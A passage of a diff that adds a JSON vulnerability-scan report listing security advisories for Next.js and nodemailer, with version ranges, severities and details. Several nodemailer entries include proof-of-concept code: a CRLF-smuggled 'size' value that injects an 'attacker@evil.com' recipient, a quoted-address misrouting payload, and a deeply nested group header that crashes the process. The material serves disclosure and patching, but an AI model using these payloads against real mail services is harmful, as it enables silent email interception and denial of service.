+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-q4gf-8mx6-v5v3"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/summary-of-cve-2026-23869"
+ }
+ ],
+ "related": [
+ "CGA-jww2-236w-h9mr"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js has a Denial of Service with Server Components"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-qpjv-v59x-3qc4/GHSA-qpjv-v59x-3qc4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0.9.9"
+ },
+ {
+ "fixed": "14.2.24"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-qpjv-v59x-3qc4/GHSA-qpjv-v59x-3qc4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0"
+ },
+ {
+ "fixed": "15.1.6"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-32421"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-362"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-15T14:12:26Z",
+ "nvd_published_at": "2025-05-14T23:15:47Z",
+ "severity": "LOW"
+ },
+ "details": "**Summary** \nWe received a responsible disclosure from Allam Rachid (zhero) for a low-severity race-condition vulnerability in Next.js. This issue only affects the **Pages Router** under certain misconfigurations, causing normal endpoints to serve `pageProps` data instead of standard HTML.\n\n[Learn more here](https://vercel.com/changelog/cve-2025-32421)\n\n**Credit** \nThank you to **Allam Rachid (zhero)** for the responsible disclosure. This research was rewarded as part of our bug bounty program.",
+ "id": "GHSA-qpjv-v59x-3qc4",
+ "modified": "2025-09-26T17:48:29Z",
+ "published": "2025-05-15T14:12:26Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-qpjv-v59x-3qc4"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32421"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/cve-2025-32421"
+ }
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js Race Condition to Cache Poisoning"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vfv6-92ff-j949/GHSA-vfv6-92ff-j949.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.4.6"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vfv6-92ff-j949/GHSA-vfv6-92ff-j949.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44582"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-328"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T15:56:48Z",
+ "nvd_published_at": "2026-05-13T18:16:19Z",
+ "severity": "LOW"
+ },
+ "details": "### Impact\n\nReact Server Component responses can be vulnerable to cache poisoning in deployments that rely on shared caches with insufficient response partitioning. In affected conditions, collisions in the `_rsc` cache-busting value can allow an attacker to poison cache entries so users receive the wrong response variant for a given URL.\n\n### Fix\n\nWe strengthened the `_rsc` cache-busting mechanism to make practical collisions significantly harder and to better separate response variants that should not share cache entries.\n\n### Workarounds\n\nIf you cannot upgrade immediately, ensure intermediary caches correctly honor `Vary` for RSC-related request headers, or disable shared caching for affected RSC responses until you can deploy a patched release.",
+ "id": "GHSA-vfv6-92ff-j949",
+ "modified": "2026-05-14T20:52:41.365283Z",
+ "published": "2026-05-11T15:56:48Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-vfv6-92ff-j949"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44582"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-4x48-2rwf-8p59"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js vulnerable to cache poisoning via collisions in React Server Component cache-busting"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wfc6-r584-vfw7/GHSA-wfc6-r584-vfw7.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "14.2.0"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wfc6-r584-vfw7/GHSA-wfc6-r584-vfw7.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44576"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-436"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T15:54:46Z",
+ "nvd_published_at": "2026-05-13T17:16:23Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Impact\n\nApplications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML.\n\n### Fix\n\nWe now validate and interpret `RSC` request headers consistently across request classification and rendering, and we enforce the intended cache-busting behavior so RSC payloads are not unexpectedly served from the original URL.\n\n### Workarounds\n\nIf you cannot upgrade immediately, ensure your CDN or reverse proxy keys on the relevant RSC request headers and honors `Vary`, or disable shared caching for affected App Router and RSC responses.",
+ "id": "GHSA-wfc6-r584-vfw7",
+ "modified": "2026-05-14T20:52:45.704849Z",
+ "published": "2026-05-11T15:54:46Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-wfc6-r584-vfw7"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44576"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-g4wh-cpq2-497j"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js vulnerable to cache poisoning in React Server Component responses"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-xv57-4mr9-wg8v/GHSA-xv57-4mr9-wg8v.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0.9.9"
+ },
+ {
+ "fixed": "14.2.31"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 15.4.4",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-xv57-4mr9-wg8v/GHSA-xv57-4mr9-wg8v.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0"
+ },
+ {
+ "fixed": "15.4.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-55173"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-20"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-29T21:59:55Z",
+ "nvd_published_at": "2025-08-29T22:15:31Z",
+ "severity": "MODERATE"
+ },
+ "details": "A vulnerability in **Next.js Image Optimization** has been fixed in **v15.4.5** and **v14.2.31**. The issue allowed attacker-controlled external image sources to trigger file downloads with arbitrary content and filenames under specific configurations. This behavior could be abused for phishing or malicious file delivery.\n\nAll users relying on `images.domains` or `images.remotePatterns` are encouraged to upgrade and verify that external image sources are strictly validated.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-55173)",
+ "id": "GHSA-xv57-4mr9-wg8v",
+ "modified": "2026-02-04T04:35:34.538107Z",
+ "published": "2025-08-29T21:59:55Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-xv57-4mr9-wg8v"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55173"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/cve-2025-55173"
+ },
+ {
+ "type": "WEB",
+ "url": "http://vercel.com/changelog/cve-2025-55173"
+ }
+ ],
+ "related": [
+ "CGA-ff6x-f9mf-5q64"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js Content Injection Vulnerability for Image Optimization"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "nodemailer",
+ "version": "6.10.1",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-c7w3-x93f-qmm8"
+ ],
+ "aliases": [
+ "GHSA-c7w3-x93f-qmm8"
+ ],
+ "max_severity": "2.3"
+ },
+ {
+ "ids": [
+ "GHSA-mm7p-fcc7-pg87"
+ ],
+ "aliases": [
+ "CVE-2025-13033",
+ "GHSA-mm7p-fcc7-pg87"
+ ],
+ "max_severity": "5.5"
+ },
+ {
+ "ids": [
+ "GHSA-rcmh-qjqh-p98v"
+ ],
+ "aliases": [
+ "CVE-2025-14874",
+ "GHSA-rcmh-qjqh-p98v"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-vvjj-xcjg-gr5g"
+ ],
+ "aliases": [
+ "GHSA-vvjj-xcjg-gr5g"
+ ],
+ "max_severity": "4.9"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-c7w3-x93f-qmm8/GHSA-c7w3-x93f-qmm8.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "nodemailer",
+ "purl": "pkg:npm/nodemailer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "8.0.4"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-93"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-03-26T22:26:46Z",
+ "nvd_published_at": null,
+ "severity": "LOW"
+ },
+ "details": "### Summary\nWhen a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\\r\\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.\n\n\n### Details\nIn `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:\n\n```javascript\nif (this._envelope.size \u0026\u0026 this._supportedExtensions.includes('SIZE')) {\n args.push('SIZE=' + this._envelope.size);\n}\n```\n\nThis contrasts with other envelope parameters in the same function that ARE properly sanitized:\n- **Addresses** (`from`, `to`): validated for `[\\r\\n\u003c\u003e]` at lines 1107-1127\n- **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183\n\nThe `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:\n\n```javascript\nconst standardFields = ['to', 'cc', 'bcc', 'from'];\nObject.keys(envelope).forEach(key =\u003e {\n if (!standardFields.includes(key)) {\n this._envelope[key] = envelope[key];\n }\n});\n```\n\nSince `_sendCommand()` writes the command string followed by `\\r\\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.\n\nNote: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. \nWhile this limits the attack surface, applications that expose envelope configuration to users are affected.\n\n### PoC\nave the following as `poc.js` and run with `node poc.js`:\n\n```javascript\nconst net = require('net');\nconst nodemailer = require('nodemailer');\n\n// Minimal SMTP server that logs raw commands\nconst server = net.createServer(socket =\u003e {\n socket.write('220 localhost ESMTP\\r\\n');\n let buffer = '';\n socket.on('data', chunk =\u003e {\n buffer += chunk.toString();\n const lines = buffer.split('\\r\\n');\n buffer = lines.pop();\n for (const line of lines) {\n if (!line) continue;\n console.log('C:', line);\n if (line.startsWith('EHLO')) {\n socket.write('250-localhost\\r\\n250-SIZE 10485760\\r\\n250 OK\\r\\n');\n } else if (line.startsWith('MAIL FROM')) {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('RCPT TO')) {\n socket.write('250 OK\\r\\n');\n } else if (line === 'DATA') {\n socket.write('354 Start\\r\\n');\n } else if (line === '.') {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('QUIT')) {\n socket.write('221 Bye\\r\\n');\n socket.end();\n }\n }\n });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n const port = server.address().port;\n console.log('SMTP server on port', port);\n console.log('Sending email with injected RCPT TO...\\n');\n\n const transporter = nodemailer.createTransport({\n host: '127.0.0.1',\n port,\n secure: false,\n tls: { rejectUnauthorized: false },\n });\n\n transporter.sendMail({\n from: 'sender@example.com',\n to: 'recipient@example.com',\n subject: 'Normal email',\n text: 'This is a normal email.',\n envelope: {\n from: 'sender@example.com',\n to: ['recipient@example.com'],\n size: '100\\r\\nRCPT TO:\u003cattacker@evil.com\u003e',\n },\n }, (err) =\u003e {\n if (err) console.error('Error:', err.message);\n console.log('\\nExpected output above:');\n console.log(' C: MAIL FROM:\u003csender@example.com\u003e SIZE=100');\n console.log(' C: RCPT TO:\u003cattacker@evil.com\u003e \u003c-- INJECTED');\n console.log(' C: RCPT TO:\u003crecipient@example.com\u003e');\n server.close();\n transporter.close();\n });\n});\n```\n\n**Expected output:**\n```\nSMTP server on port 12345\nSending email with injected RCPT TO...\n\nC: EHLO [127.0.0.1]\nC: MAIL FROM:\u003csender@example.com\u003e SIZE=100\nC: RCPT TO:\u003cattacker@evil.com\u003e\nC: RCPT TO:\u003crecipient@example.com\u003e\nC: DATA\n...\nC: .\nC: QUIT\n```\n\nThe `RCPT TO:\u003cattacker@evil.com\u003e` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.\n\n### Impact\nThis is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:\n\n- **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport\n- **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)\n- **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery\n\nThe severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.\n\nAffected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.",
+ "id": "GHSA-c7w3-x93f-qmm8",
+ "modified": "2026-04-06T15:44:21.417005164Z",
+ "published": "2026-03-26T22:26:46Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nodemailer/nodemailer"
+ }
+ ],
+ "related": [
+ "CGA-9qvq-pvpp-2qw4"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-mm7p-fcc7-pg87/GHSA-mm7p-fcc7-pg87.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "nodemailer",
+ "purl": "pkg:npm/nodemailer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "7.0.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-13033"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-20",
+ "CWE-436"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-10-07T13:42:02Z",
+ "nvd_published_at": null,
+ "severity": "MODERATE"
+ },
+ "details": "The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n service: \"gmail\",\n auth: {\n user: \"\",\n pass: \"\",\n },\n});\n\nlet mailOptions = {\n from: '\"Test Sender\" \u003cyour_email@gmail.com\u003e', \n to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n subject: \"Hello from Nodemailer\",\n text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n if (error) {\n return console.log(\"Error: \", error);\n }\n console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n const parser = await import(\"@sparser/email-address-parser\");\n const { EmailAddress, ParsingOptions } = parser.default;\n const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n if (!parsed) {\n console.error(\"Invalid email address:\", mailOptions.to);\n return;\n }\n\n console.log(\"Parsed email:\", {\n address: `${parsed.localPart}@${parsed.domain}`,\n local: parsed.localPart,\n domain: parsed.domain,\n });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n address: '\"xclow3n@gmail.com x\"@internal.domain',\n local: '\"xclow3n@gmail.com x\"',\n domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n- Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n- Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n- Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n- Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n- Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n- Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.",
+ "id": "GHSA-mm7p-fcc7-pg87",
+ "modified": "2026-02-04T04:17:09.385955Z",
+ "published": "2025-10-07T13:42:02Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13033"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"
+ },
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/security/cve/CVE-2025-13033"
+ },
+ {
+ "type": "WEB",
+ "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402179"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nodemailer/nodemailer"
+ }
+ ],
+ "related": [
+ "CGA-28fp-q5jj-4hf3"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 7.0.10",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-rcmh-qjqh-p98v/GHSA-rcmh-qjqh-p98v.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "nodemailer",
+ "purl": "pkg:npm/nodemailer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "7.0.11"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-14874"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-703"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-12-01T20:44:25Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser → _handleAddress → addressparser → ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n ...\n if (data.group.length) {\n let parsedGroup = addressparser(data.group.join(',')); // \u003c- boom!\n parsedGroup.forEach(member =\u003e {\n if (member.group) {\n groupMembers = groupMembers.concat(member.group);\n } else {\n groupMembers.push(member);\n }\n });\n }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require('nodemailer');\n\nfunction buildDeepGroup(depth) {\n let parts = [];\n for (let i = 0; i \u003c depth; i++) {\n parts.push(`g${i}:`);\n }\n return parts.join(' ') + ' user@example.com;';\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log('to header length:', toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n buffer: true,\n newline: 'unix'\n});\n\nconsole.log('parsing start');\n\ntransporter.sendMail(\n {\n from: 'test@example.com',\n to: toHeader,\n subject: 'test',\n text: 'test'\n },\n (err, info) =\u003e {\n if (err) {\n console.error('error:', err);\n } else {\n console.log('finished :', info \u0026\u0026 info.envelope);\n }\n }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”",
+ "id": "GHSA-rcmh-qjqh-p98v",
+ "modified": "2026-03-14T05:43:57.222709Z",
+ "published": "2025-12-01T20:44:25Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
+ },
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/security/cve/CVE-2025-14874"
+ },
+ {
+ "type": "WEB",
+ "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nodemailer/nodemailer"
+ }
+ ],
+ "related": [
+ "CGA-rqf3-5fp9-hp42",
+ "CVE-2025-14874"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 8.0.4",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-vvjj-xcjg-gr5g/GHSA-vvjj-xcjg-gr5g.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "nodemailer",
+ "purl": "pkg:npm/nodemailer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "8.0.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-93"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-08T15:05:20Z",
+ "nvd_published_at": null,
+ "severity": "MODERATE"
+ },
